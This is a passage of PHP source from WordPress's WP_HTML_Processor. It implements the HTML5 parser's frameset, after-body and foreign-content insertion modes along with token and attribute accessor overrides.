				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
